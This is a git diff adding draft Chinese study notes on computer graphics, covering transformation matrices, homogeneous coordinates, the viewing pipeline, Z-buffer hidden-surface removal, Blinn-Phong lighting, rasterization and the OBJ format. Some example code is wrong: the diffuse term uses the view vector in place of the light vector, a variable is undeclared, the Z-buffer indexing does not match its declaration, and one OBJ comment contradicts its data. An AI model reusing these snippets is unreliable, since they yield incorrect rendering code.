\\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + s_x & 0 & 0 & 0 \\ + 0 & s_y & 0 & 0 \\ + 0 & 0 & s_z & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +### 对称变换 +### 错切变换 + +### 变换通式 + +$$ +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + a & b & c & l \\ + d & e & f & m \\ + h & i & j & n \\ + 0 & 0 & 0 & s +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +1. 子矩阵 + $$ + \begin{bmatrix} + a & b & c \\ + d & e & f \\ + h & i & j \\ + \end{bmatrix} + $$ + 可以产生缩放/旋转/对称/错切等变换. + +2. 子矩阵 + $$ + \begin{bmatrix} + l \\ + m \\ + n + \end{bmatrix} + $$ + 可以产生平移变换. + +3. 数 + $$ + \begin{bmatrix} + s + \end{bmatrix} + $$ + 可以产生整体缩放. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/4_\344\270\211\347\273\264\350\247\202\345\257\237.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/4_\344\270\211\347\273\264\350\247\202\345\257\237.md" new file mode 100644 index 000000000..c018cdce5 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/4_\344\270\211\347\273\264\350\247\202\345\257\237.md" @@ -0,0 +1,111 @@ +# 三维观察 + + + +## 流程 + +``` + 模型变换 观察变换 投影变换 视口变换 +模型坐标 --------> 世界坐标 --------> 观察坐标 --------> 投影坐标 --------> 屏幕坐标 +局部空间 世界空间 观察空间 裁剪空间 屏幕空间 +``` + +1. 模型变换 + + 将模型坐标系(modeling coordinate system)中的顶点坐标通过模型变换转移到世界坐标系中. + +2. 观察变换 + + 计算世界坐标系到观察坐标系(viewing coordinate system, 也称视点坐标系)的变换. 以此计算模型顶点相对于观察坐标系的坐标. + +3. 投影变换 + + - 裁剪: 通过指定参数生成一个观察体(view volume), 仅保留观察体内的三维对象. + - 截头锥体(frustum), 用于透视投影. + - 正投影观察体(orthogonal-projection view volume), 用于正交投影(orthographic projection, 也称正投影(orthogonal projection)). + - 投影: 将观察体内的三维对象投影到二维平面上. 该二维平面被称为观察平面或投影平面. + +4. 视口变换 + + 将投影平面绘制到显示器上的指定区域. + +## 投影 diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/1_\346\266\210\351\232\220\347\256\227\346\263\225.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/1_\346\266\210\351\232\220\347\256\227\346\263\225.md" new file mode 100644 index 000000000..94d22f948 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/1_\346\266\210\351\232\220\347\256\227\346\263\225.md" @@ -0,0 +1,63 @@ +# 消隐算法 + +若将可见与不可见的线段全部绘制, 将造成多义性, 无法准确判断物体的空间位置. + +## 消隐的分类 + +### 按消隐对象分类 + +- 线消隐: 消隐对象是物体的边. +- 面消隐: 消隐对象是物体的面. + +### 按消隐空间分类 + +- 物体空间的消隐: 对比空间中的所有物体, 显示可见的部分. 通常用于线框图的消隐. +- 图像空间的消隐: 以屏幕窗口的像素为处理单位, 判断哪个多边形在该像素可见. 是目前消隐算法的主流. + +## 图像空间的消隐算法 + +### 画家算法 (Painer's Algorithm) + +一个简单的想法, 即先绘制远处的物体再绘制近处的物体. 但实际情况通常没有这么简单, 比如物体之间交错, 无法区分哪个更近 (或远). + +### Z-Buffer 算法 + +**别称**: 深度缓冲器算法, Z-Buffer Visibility Tests. +**背景**: 由犹他大学学生 Edwin Catmull 独立开发. + +该算法的思想和画家算法相似, 不过处理的粒度为像素, 因此避免了画家算法的缺陷. + +**优点**: + +- 简单, 直观. + +**缺点**: + +- 效率低下: 遍历所有像素, 检测与多边形的交点, 而求交的运算比较昂贵. +- 内存占用大. + +假设 z 永远为正数, 可得: + +```cpp +std::vector zbuffer(framebuffer.getSize().area()); +std::fill(zbuffer.begin(), zbuffer.end(), std::numeric_limits::max()); +for(const auto& t : triangles) +{ + for(const auto& [x, y, z] : t) + { + if(z < zbuffer[x][y]) + { + framebuffer[x][y] = sample(t, {x, y, z}); + zbuffer[x][y] = z; + } + } +} +``` + +### 扫描线算法 + + + +### Warnock 算法 + + diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/1_\345\205\211\347\205\247\346\250\241\345\236\213.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/1_\345\205\211\347\205\247\346\250\241\345\236\213.md" new file mode 100644 index 000000000..2e6120eaa --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/1_\345\205\211\347\205\247\346\250\241\345\236\213.md" @@ -0,0 +1,71 @@ +# 光照模型 + +为表达自然光照效果, 需要根据光学物理的有关定律建立一个数学模型, 计算物体表面任意一点投向观察者 (viewer) 的光线亮度. 该数学模型被称为光照模型 (illumination model). + +## 局部光照模型 + +![Blinn-Phong and Phong](assets/blinn_phong_and_phong.png) + +左侧两张图片分别使用了 Blinn-Phong 和 Phong 反射模型计算高亮, 右侧图是 Blinn-Phong 但具有更大的镜面反射系数, 高亮会相对集中. + +### Blinn-Phong 反射模型(Blinn-Phong Reflectance Model) + +![Blinn-Phong](assets/blinn_phong.png) + +上图展示了光照计算三个步骤分别得到的结果, 最后再进行求和得到最终结果. + +``` +物体表面反光 = 环境光 (ambient lighting) + 漫反射光 (diffuse reflection) + 镜面反射高亮 (specular highlights) +``` + +1. 环境光: 是指光源间接对物体的影响, 是在物体和环境之间多次反射, 最终达到平衡时一种光. +2. 漫反射: 入射光线射到粗糙的表面时, 粗糙的表面将光线向着各个方向反射的现象. +3. 镜面反射: 也被称之为高光. + +分别计算三种光照的效果最后求和得到结果. 使用点积计算向量之间的夹角. 使用 [Lambert's cosine law](https://en.wikipedia.org/wiki/Lambert%27s_cosine_law) 计算光线辐射强度. + +```c++ +// 平行光 +struct DirLight +{ + vec3 direction; + vec3 color; +}; + +/** + * @brief 计算平行光光照. + * + * @param light 光属性. + * @param V 相机观察方向. + * @param N 表面法向量. + */ +vec3 CalcDirLight(DirLight light, vec3 V, vec3 N) +{ + const vec3 L = light.direction; + + const float ka = 0.2; // 环境光系数 + const float kd = 0.5; // 漫反射系数 + const float ks = 0.7; // 镜面反射系数 + const float shininess = 32.0; + + // 环境光照 + vec3 ambient = ka * light.color; + + // 漫反射光照 + float diffuse_amount = max(dot(V, N), 0.0); // 计算参与漫反射的光线总量 + vec3 diffuse = kd * diffuse_amount * light.color; + + // 镜面反射光照(Phong) + vec3 R = reflect(-L, N); // 计算反射光线方向 + float specular_amount = pow(max(dot(R, dir_to_cam), 0.0), shininess); // 计算参与镜面反射的光线总量 + vec3 specular = ks * specular_amount * light.color; + + return ambient + diffuse + specular; +} +``` + +## 整体光照模型 + +## 参见 + +- . diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/2_\345\273\266\350\277\237\346\270\262\346\237\223.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/2_\345\273\266\350\277\237\346\270\262\346\237\223.md" new file mode 100644 index 000000000..0232d8b66 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/2_\345\273\266\350\277\237\346\270\262\346\237\223.md" @@ -0,0 +1,6 @@ +# 延迟渲染 (Deferred rendering) + +**别名**: 延迟着色法 (Deferred shading) + +在正向渲染 (Forward Rendering, 正向着色法 (Forward Shading)) 中, 许多最终会被覆盖的像素都会参与光照等其他复杂计算, 这部分计算是不必要的. +通过使用延迟渲染可以消除这些多余的计算, 从而允许片段着色器进行更多更复杂的计算. 比如显著提高了光照计算的效率, 允许存在更多的光源或使用更复杂的光照模型. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/assets/blinn_phong.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/assets/blinn_phong.png" new file mode 100644 index 000000000..888daad37 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/assets/blinn_phong.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/assets/blinn_phong_and_phong.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/assets/blinn_phong_and_phong.png" new file mode 100644 index 000000000..c1eb183e6 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/6_\347\234\237\345\256\236\346\204\237\345\233\276\345\275\242\345\255\246/2_\345\205\211\347\205\247/assets/blinn_phong_and_phong.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/7_\345\217\202\350\200\203.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/7_\345\217\202\350\200\203.md" new file mode 100644 index 000000000..daf82ba02 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/7_\345\217\202\350\200\203.md" @@ -0,0 +1,10 @@ +# 参考 + +## 网站 + +- [Real-Time Rendering Resources](http://www.realtimerendering.com/). + +## 视频 + +- [GAMES 101 现代计算机图形学入门 - GAMES-Webinar](https://www.bilibili.com/video/BV1X7411F744). +- [GAMES 202 高质量实时渲染 - GAMES-Webinar](https://www.bilibili.com/video/BV1YK4y1T7yY). diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/comparison-flat-gouraud-phong-shading.webp" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/comparison-flat-gouraud-phong-shading.webp" new file mode 100644 index 000000000..a7df9ba7d Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/comparison-flat-gouraud-phong-shading.webp" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/gimbals.gif" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/gimbals.gif" new file mode 100644 index 000000000..24dc04bb1 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/gimbals.gif" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/light_emitting_diode_array.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/light_emitting_diode_array.png" new file mode 100644 index 000000000..38d5e26d7 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/light_emitting_diode_array.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/normals.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/normals.png" new file mode 100644 index 000000000..2167e1e8b Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/normals.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/rotation.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/rotation.png" new file mode 100644 index 000000000..4d4fedd39 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/rotation.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/sampling.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/sampling.png" new file mode 100644 index 000000000..5aa9055e6 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/sampling.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/scale.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/scale.png" new file mode 100644 index 000000000..dd69a3d61 Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/scale.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/shear.png" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/shear.png" new file mode 100644 index 000000000..88099a14c Binary files /dev/null and "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/assets/shear.png" differ diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\344\270\211\347\273\264\346\250\241\345\236\213\347\232\204\350\241\250\347\244\272.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\344\270\211\347\273\264\346\250\241\345\236\213\347\232\204\350\241\250\347\244\272.md" new file mode 100644 index 000000000..91a15d951 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\344\270\211\347\273\264\346\250\241\345\236\213\347\232\204\350\241\250\347\244\272.md" @@ -0,0 +1,83 @@ +# 三维模型的表示 + +三维模型的网格由一组顶点和一组索引组成: + +- 顶点: 组成网格的点, 包括坐标/颜色/法向量/纹理坐标等信息. +- 索引: 说明了哪些顶点构成一个面. 假设图元为三角形, 那么索引就是三个数字一组. + +这两部分数据从模型文件中读取出来, 并存放在顶点缓冲区(vertex buffer)和索引缓冲区(index buffer). 这两个缓冲区的数据将被提交给渲染器用于绘制图像. +顶点缓冲区的数据布局可以自定义, 所以在这之前还需要告知 GPU 如何解析顶点缓冲区中的数据. +用于描述数据布局的信息称为顶点属性, 能声明的顶点属性是有上限的, 一般由硬件决定. 这部分数据将在绘制时提交给着色器处理. + +## OBJ 文件格式 + +了解 OBJ 文件格式有利于理解 3D 模型的表示方式. +每行由关键字和数据组成. +关键字主要有: + +- v: 顶点坐标, 数据为三个浮点数, 分别表示 x, y, z 坐标. +- vn: 顶点法向量, 数据为三个浮点数, 表示法向量. +- vt: 顶点材质坐标, 数据为两个浮点数, 表示材质的 U, V 坐标. +- f: 面 + + 数据格式为 `顶点索引/顶点材质坐标索引/顶点法向量索引` 重复三组, 分别表示组成三角形的三个顶点. + 顶点材质坐标索引和顶点法向量索引可以为空. + 索引从 1 开始, 可以为负数, 比如 -1 表示最后一个元素. + +三角形: + +```obj +o triangle + +v 0.0 0.5 0.0 # 顶点 1, 坐标为 ( 0, 0.5, 0), 位于中上方 +v -0.5 -0.5 0.0 # 顶点 2, 坐标为 (-0.5, 0.5, 0), 位于左下方 +v 0.5 -0.5 0.0 # 顶点 3, 坐标为 (0.5, -0.5, 0), 位于右下方 + +f 1 2 3 # 顶点 1, 2, 3 连线, 构成一个三角形的面 +``` + +立方体: + +```obj +o cube + +v 0.0 0.0 0.0 +v 0.0 0.0 1.0 +v 0.0 1.0 0.0 +v 0.0 1.0 1.0 +v 1.0 0.0 0.0 +v 1.0 0.0 1.0 +v 1.0 1.0 0.0 +v 1.0 1.0 1.0 + +vn 0.0 0.0 1.0 +vn 0.0 0.0 -1.0 +vn 0.0 1.0 0.0 +vn 0.0 -1.0 0.0 +vn 1.0 0.0 0.0 +vn -1.0 0.0 0.0 + +f 1//2 7//2 5//2 +f 1//2 3//2 7//2 +f 1//6 4//6 3//6 +f 1//6 2//6 4//6 +f 3//3 8//3 7//3 +f 3//3 4//3 8//3 +f 5//5 7//5 8//5 +f 5//5 8//5 6//5 +f 1//4 5//4 6//4 +f 1//4 6//4 2//4 +f 2//1 6//1 8//1 +f 2//1 8//1 4//1 +``` + +可以将上方数据保存为 obj 文件并使用 3D 查看器查看. + +可以看出, 在指定面的构成时, 每个顶点被赋予了一个法向量, 也间接的为每个面指定了三个法向量. +在绘制面的过程中, 可以通过对三个法向量进行插值来获得当前像素的法向量, 绘制出平滑的曲面. + +详情请参考[法向量](法向量.md). + +## 参考 + +- . diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\205\211\346\240\205\345\214\226.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\205\211\346\240\205\345\214\226.md" new file mode 100644 index 000000000..894e90227 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\205\211\346\240\205\345\214\226.md" @@ -0,0 +1,53 @@ +# 光栅化 + +![GAMES101 Lecture 05](assets/light_emitting_diode_array.png) + +## 光栅化管线 + +将所有的图元都转换为三角形, 包括点(正方形)和直线(矩形). + +为什么使用三角形: + +- 最基础的图元: 可以近似的表示其他任何形状. +- 三个顶点总在一个平面上. + +## 三角形的光栅化 + +![GAMES101 Lecture 05](assets/sampling.png) + +```cpp +struct Triangle +{ + Vector2f v[3]; +}; + +/** + * @brief 判断点是否在三角形内. + * + * @param triangle 三角形. + * @param position 点的坐标. + */ +bool inside(const Triangle& triangle, const Vector2f& position) +{ +} + +/** + * @brief 将三角形绘制在图像上. + * + * 背景为白色, 三角形为黑色. + * + * @param image 图像. + * @param triangle 三角形. + * @param pixel_size 像素大小. + */ +void draw(Image& image, const Triangle& triangle, const float pixel_size) +{ + for(size_t x = 0; x < image.size().x(); x++) + { + for(size_t y = 0; y < image.size().y(); y++) + image[x][y] = inside(triangle, {pixel_size / 2.f + x * pixel_size, pixel_size / 2.f + y * pixel_size}) ? black : white; + } +} +``` + +其中 `draw` 要对整个图像的每个像素进行采样, 可以通过包围盒来缩小采样面积. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\216\213\347\274\251\347\272\271\347\220\206.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\216\213\347\274\251\347\272\271\347\220\206.md" new file mode 100644 index 000000000..c51899c01 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\216\213\347\274\251\347\272\271\347\220\206.md" @@ -0,0 +1,8 @@ +# 压缩纹理 + +压缩纹理是纹理使用专门的算法进行了压缩. 在 GPU 对纹理进行采样的时候进行解压, 这意味着: + +1. 需要 GPU 提供支持. +2. 可以减少显存的占用率. +3. 可以减少显存带宽的占用率. +4. 需要专门的压缩算法, 支持对像素数据的随机访问. diff --git "a/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\217\230\346\215\242.md" "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\217\230\346\215\242.md" new file mode 100644 index 000000000..6d1f92a7b --- /dev/null +++ "b/docs/\350\256\241\347\256\227\346\234\272\345\233\276\345\275\242\345\255\246/\345\217\230\346\215\242.md" @@ -0,0 +1,493 @@ +# 变换 + +**英文**: Transformation. + +## 2D 变换 + +### 缩放(sacle) + +![GAMES101 Lecture 03](assets/scale.png){ width=70% style="display: block; margin: 0 auto" } + +$$ +\begin{bmatrix} + x' \\ + y' +\end{bmatrix} += +\begin{bmatrix} + S_x & 0\\ + 0 & S_y +\end{bmatrix} +\begin{bmatrix} + x \\ + y +\end{bmatrix} +$$ + +### 错切(shear) + +![GAMES101 Lecture 03](assets/shear.png){ width=70% style="display: block; margin: 0 auto" } + +$$ +\begin{bmatrix} + x' \\ + y' +\end{bmatrix} += +\begin{bmatrix} + 1 & a\\ + 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y +\end{bmatrix} +$$ + +### 旋转(rotation) + +绕**坐标系原点**旋转. + +![GAMES101 Lecture 03](assets/rotation.png){ width=70% style="display: block; margin: 0 auto" } + +$$ +\begin{bmatrix} + x' \\ + y' +\end{bmatrix} += +\begin{bmatrix} + \cos\theta & -\sin\theta \\ + \sin\theta & \cos\theta +\end{bmatrix} +\begin{bmatrix} + x \\ + y +\end{bmatrix} +$$ + +### 平移(translation) + +$$ +\begin{bmatrix} + x' \\ + y' +\end{bmatrix} += +\begin{bmatrix} + x \\ + y +\end{bmatrix} ++ +\begin{bmatrix} + t_x \\ + t_y +\end{bmatrix} +$$ + +平移不是线性变换, 无法使用一个 2x2 矩阵来表示. + +## 齐次坐标(homogenous coordinates) + +为了保持变换运算的一致性, 引入齐次坐标. + +添加第三个坐标 $w$: + +- 2D 点: $(x, y, 1)^T$ ($w = 1$). +- 2D 向量: $(x, y, 0)^T$ ($w = 0$). + +$$ +\begin{bmatrix} + x' \\ + y' \\ + w' +\end{bmatrix} += +\begin{bmatrix} + 1 & 0 & t_x \\ + 0 & 1 & t_y \\ + 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + x + t_x \\ + y + t_y \\ + 1 +\end{bmatrix} +$$ + +用齐次坐标表示的点和向量还满足以下条件: + +- 向量 + 向量 = 向量: $w' = 0 + 0 = 0$. +- 点 - 点 = 向量: $w' = 1 - 1 = 0$. +- 点 + 向量 = 点: $w' = 1 + 0 = 1$. +- 点 + 点 = 两点中点. + +假如 $w > 1$: + +$$ +\begin{bmatrix} + x \\ + y \\ + w +\end{bmatrix} += +\begin{bmatrix} + x / w \\ + y / w \\ + 1 +\end{bmatrix} +, w \neq 0 +$$ + +仿射变换(affine map) = 线性变换(linear map) + 平移. + +用齐次坐标表示各种变换: + +$$ +T(t_x, t_y) = +\begin{bmatrix} + x' \\ + y' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + 1 & 0 & t_x \\ + 0 & 1 & t_y \\ + 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + 1 +\end{bmatrix} +$$ + +$$ +S(s_x, s_y) = +\begin{bmatrix} + x' \\ + y' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + s_x & 0 & 0 \\ + 0 & s_y & 0 \\ + 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + 1 +\end{bmatrix} +$$ + +$$ +R(\theta) = +\begin{bmatrix} + x' \\ + y' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + \cos\theta & -\sin\theta & 0 \\ + \sin\theta & \cos\theta & 0 \\ + 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + 1 +\end{bmatrix} +$$ + +## 逆变换(inverse transform) + +$$ MM^{-1} = M^{-1}M = I $$ + +一个矩阵和自己的逆相乘等于单位矩阵, 意味着没有进行任何变换. + +## 正交矩阵 + +方阵 $Q$ 元素为实数且满足以下条件: + +$$ Q^T = Q^{-1} \Leftrightarrow Q^T Q = Q Q^T = I $$ + +则被称为正交矩阵. + +$$ +\because +R(\theta) = +\begin{bmatrix} + \cos\theta & -\sin\theta \\ + \sin\theta & \cos\theta +\end{bmatrix}, +R(-\theta) = +\begin{bmatrix} + \cos\theta & \sin\theta \\ + -\sin\theta & \cos\theta +\end{bmatrix} \\ +\therefore R(-\theta) = R(\theta)^T \\ +\because R(-\theta) = R(\theta)^{-1} \\ +\therefore R(\theta)^T = R(\theta)^{-1} +$$ + +可以看出, 旋转变换矩阵是正交矩阵. + +## 复合变换 + +$$ A_n \dots A_2 \cdot A_1 \cdot \vec{v} $$ + +其中 $A_n$ 代表第 n 次变换. +因为矩阵乘法满足结合律, 所以可以提前计算 $A_n \dots A_2 \cdot A_1$, 得到一个复合矩阵. + +以绕固定点进行旋转为例, 应先将定点平移至坐标系原点, 然后绕原点进行旋转, 最终再将定点平移至原位. +绕点 $c$ 旋转 $\alpha$ 度: $T(c) \cdot R(\alpha) \cdot T(-c)$, 变换顺序是**从右到左**. +看似进行了三次变换, 但可以将三次变换复合得到一次变换. + +## 3D 变换 + +$$ +T(t_x, t_y, t_z) = +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + 1 & 0 & 0 & t_x \\ + 0 & 1 & 0 & t_y \\ + 0 & 0 & 1 & t_z \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +$$ +S(s_x, s_y, s_z) = +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + s_x & 0 & 0 & 0 \\ + 0 & s_y & 0 & 0 \\ + 0 & 0 & s_z & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +$$ +R_x(\theta) = +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + 1 & 0 & 0 & 0 \\ + 0 & \cos\theta & -\sin\theta & 0 \\ + 0 & \sin\theta & \cos\theta & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +$$ +R_y(\theta) = +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + \cos\theta & 0 & \sin\theta & 0 \\ + 0 & 1 & 0 & 0 \\ + -\sin\theta & 0 & \cos\theta & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +$$ +R_z(\theta) = +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + \cos\theta & -\sin\theta & 0 & 0 \\ + \sin\theta & \cos\theta & 0 & 0 \\ + 0 & 0 & 1 & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +### Rodrigues 旋转公式 + +绕轴 $n$ 旋转 $\alpha$ 度: + +$$ +R(n, \alpha) = \cos(\alpha)I + (1 - \cos(\alpha))nn^T + \sin(\alpha) +\begin{bmatrix} + 0 & -n_z & n_y \\ + n_z & 0 & -n_x \\ + -n_y & n_x & 0 +\end{bmatrix} +$$ + +用向量 $n$ 表示起点为坐标系原点的轴. + +## 模型变换(model transformation) + +将模型放置在场景中需要通过模型变换. +不同模型可以处在场景的不同位置, 所以每个模型都有一个单独的模型变换矩阵. + +## 视图变换(viewing transformation) + +以下属性用于确定一个视角: + +- 坐标: $\vec{e}$. +- 朝向(look-at/gaze direction): $\hat{g}$. +- 向上方向(up direction): $\hat{t}$. + +将视角的坐标系变换到世界坐标系, 并使 $\hat{g}$ 于 Z 轴**负**方向重合, $\hat{t}$ 于 Y 轴正方向重合. + +所有物体的坐标经过视图变换后将变成相对摄像机的相对坐标. + +$$ M_{view} = R_{view} T_{view} $$ + +$$ +T_{view} = +T({-e}) +\begin{bmatrix} + x' \\ + y' \\ + z' \\ + 1 +\end{bmatrix} += +\begin{bmatrix} + 1 & 0 & 0 & -x_e \\ + 0 & 1 & 0 & -y_e \\ + 0 & 0 & 1 & -z_e \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +\begin{bmatrix} + x \\ + y \\ + z \\ + 1 +\end{bmatrix} +$$ + +$$ +R_{view}^{-1} = R_{view}^T = +\begin{bmatrix} + x_{\hat{g} \times \hat{t}} & x_t & x_{-g} & 0 \\ + y_{\hat{g} \times \hat{t}} & y_t & y_{-g} & 0 \\ + z_{\hat{g} \times \hat{t}} & z_t & z_{-g} & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +$$ + +$$ +R_{view} = (R_{view}^T)^T = +\begin{bmatrix} + x_{\hat{g} \times \hat{t}} & y_{\hat{g} \times \hat{t}} & z_{\hat{g} \times \hat{t}} & 0 \\ + x_t & y_t & z_t & 0 \\ + x_{-g} & y_{-g} & z_{-g} & 0 \\ + 0 & 0 & 0 & 1 +\end{bmatrix} +$$ + 